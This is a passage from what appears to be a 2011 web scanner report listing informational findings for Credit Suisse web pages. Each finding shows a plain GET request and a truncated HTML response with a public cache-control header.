Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.151. https://www.credit-suisse.com/responsibility/en/suppliers_partners.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/suppliers_partners.jsp

Request

GET /responsibility/en/suppliers_partners.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.152. https://www.credit-suisse.com/responsibility/en/sustainability_rating.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/sustainability_rating.jsp

Request

GET /responsibility/en/sustainability_rating.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:43 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30337

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.153. https://www.credit-suisse.com/responsibility/it/accessibility.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/it/accessibility.jsp

Request

GET /responsibility/it/accessibility.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:53:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.154. https://www.credit-suisse.com/responsibility/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/it/index.jsp

Request

GET /responsibility/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:53:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28649

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.155. https://www.credit-suisse.com/sitemap/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/sitemap/en/

Request

GET /sitemap/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 57930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.156. https://www.credit-suisse.com/sitemap/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/sitemap/en/index.jsp

Request

GET /sitemap/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 57930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...

17.157. https://www.credit-suisse.com/sitemap/it/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/sitemap/it/index.jsp

Request

GET /sitemap/it/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:53:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 52701

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">

...[SNIP]...

17.158. https://www.credit-suisse.com/tooldbrowser.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/tooldbrowser.jsp

Request

GET /tooldbrowser.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:40:51 GMT
Content-Length: 2
Content-Type: text/html; charset=UTF-8
Connection: close

17.159. https://www.credit-suisse.com/triage/en/triage.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/triage/en/triage.jsp

Request

GET /triage/en/triage.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15719

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.160. https://www.credit-suisse.com/us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/

Request

GET /us/ HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/forwardapp/redirection.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SCDID_S=fC3_ZPcPH8pdto3Bx8PqHRizHqsF-HgY2kRIFBUVbXmHYb6DbUHGww$$; CsgBasePath=/us/

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:27:42 GMT
Accept-Ranges: bytes
Content-Length: 85
Content-Type: text/html
Last-Modified: Thu, 11 Jun 2009 11:47:42 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

<html>
   <head>
       <meta http-equiv='refresh' content='0; URL=./en'/>
   </head>
</html>

17.161. https://www.credit-suisse.com/us/asset_management/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/

Request

GET /us/asset_management/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.162. https://www.credit-suisse.com/us/asset_management/en/about_asset_management.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/about_asset_management.jsp

Request

GET /us/asset_management/en/about_asset_management.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18918

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.163. https://www.credit-suisse.com/us/asset_management/en/am_management_committee.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/am_management_committee.jsp

Request

GET /us/asset_management/en/am_management_committee.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 24739

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.164. https://www.credit-suisse.com/us/asset_management/en/awards/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/awards/index.jsp

Request

GET /us/asset_management/en/awards/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.165. https://www.credit-suisse.com/us/asset_management/en/credit_suisse_funds/pop_fund_performance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/credit_suisse_funds/pop_fund_performance.jsp

Request

GET /us/asset_management/en/credit_suisse_funds/pop_fund_performance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17249

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.166. https://www.credit-suisse.com/us/asset_management/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/index.jsp

Request

GET /us/asset_management/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/investment_banking/en/index.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:33 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.167. https://www.credit-suisse.com/us/asset_management/en/products/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/products/index.jsp

Request

GET /us/asset_management/en/products/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 22601

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.168. https://www.credit-suisse.com/us/asset_management/en/thought_leadership/201108_commodities_outlook.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/thought_leadership/201108_commodities_outlook.jsp

Request

GET /us/asset_management/en/thought_leadership/201108_commodities_outlook.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.169. https://www.credit-suisse.com/us/asset_management/en/thought_leadership/201108_market_update.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/thought_leadership/201108_market_update.jsp

Request

GET /us/asset_management/en/thought_leadership/201108_market_update.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 23078

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.170. https://www.credit-suisse.com/us/asset_management/en/thought_leadership/insights_2011.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/thought_leadership/insights_2011.jsp

Request

GET /us/asset_management/en/thought_leadership/insights_2011.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 27082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.171. https://www.credit-suisse.com/us/asset_management/en/value_proposition.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/asset_management/en/value_proposition.jsp

Request

GET /us/asset_management/en/value_proposition.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19975

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.172. https://www.credit-suisse.com/us/equities/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/

Request

GET /us/equities/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.173. https://www.credit-suisse.com/us/equities/en/brazilian_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/brazilian_equities.jsp

Request

GET /us/equities/en/brazilian_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 24575

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.174. https://www.credit-suisse.com/us/equities/en/customized_solutions.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/customized_solutions.jsp

Request

GET /us/equities/en/customized_solutions.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.175. https://www.credit-suisse.com/us/equities/en/emerging_market_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/emerging_market_equities.jsp

Request

GET /us/equities/en/emerging_market_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:29 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17802

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.176. https://www.credit-suisse.com/us/equities/en/european_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/european_equities.jsp

Request

GET /us/equities/en/european_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18311

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.177. https://www.credit-suisse.com/us/equities/en/global_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/global_equities.jsp

Request

GET /us/equities/en/global_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.178. https://www.credit-suisse.com/us/equities/en/global_indices.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/global_indices.jsp

Request

GET /us/equities/en/global_indices.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.179. https://www.credit-suisse.com/us/equities/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/index.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:45 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.180. https://www.credit-suisse.com/us/equities/en/quantitative_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/quantitative_equities.jsp

Request

GET /us/equities/en/quantitative_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21355

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.181. https://www.credit-suisse.com/us/equities/en/swiss_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/swiss_equities.jsp

Request

GET /us/equities/en/swiss_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.182. https://www.credit-suisse.com/us/equities/en/us_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/us_equities.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:54 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18658

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />
<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.183. https://www.credit-suisse.com/us/fixed_income/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/fixed_income/en/

Request

GET /us/fixed_income/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17755

